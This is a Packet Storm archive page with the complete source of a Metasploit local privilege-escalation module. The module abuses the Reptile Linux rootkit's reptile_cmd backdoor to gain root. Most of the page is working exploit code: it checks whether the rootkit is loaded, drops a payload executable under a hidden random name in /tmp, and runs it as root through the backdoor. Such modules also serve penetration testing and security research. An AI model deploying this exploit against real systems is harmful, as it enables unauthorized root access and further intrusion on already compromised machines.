exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Reptile Rootkit reptile_cmd Privilege Escalation

Reptile Rootkit reptile_cmd Privilege Escalation
Posted Dec 23, 2019
Authored by Brendan Coles, f0rb1dd3n | Site metasploit.com

This Metasploit module uses Reptile rootkit's reptile_cmd backdoor executable to gain root privileges using the root command. This module has been tested successfully with Reptile from master branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).

tags | exploit, root
systems | linux, ubuntu
SHA-256 | 8186f5f11335f41fb98ec8db0d3d1fb55357e44c311a504e72b4a26781481cf4

Reptile Rootkit reptile_cmd Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
'Description' => %q{
This module uses Reptile rootkit's `reptile_cmd` backdoor executable
to gain root privileges using the `root` command.

This module has been tested successfully with Reptile from `master`
branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'f0rb1dd3n', # Reptile
'bcoles' # Metasploit
],
'DisclosureDate' => '2018-10-29', # Reptile first stable release
'References' =>
[
['URL', 'https://github.com/f0rb1dd3n/Reptile'],
['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def reptile_cmd_path
datastore['REPTILE_CMD_PATH']
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def check
unless executable? reptile_cmd_path
vprint_error "#{reptile_cmd_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{reptile_cmd_path} is executable"

res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
vprint_status "Output: #{res}"

if res.include?('You have no power here!')
vprint_error 'Reptile kernel module is not loaded'
return CheckCode::Safe
end

unless res.include?('root')
vprint_error 'Reptile is not installed'
return CheckCode::Safe
end
vprint_good 'Reptile is installed and loaded'

CheckCode::Vulnerable
end

def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 8..12}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
vprint_line res
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close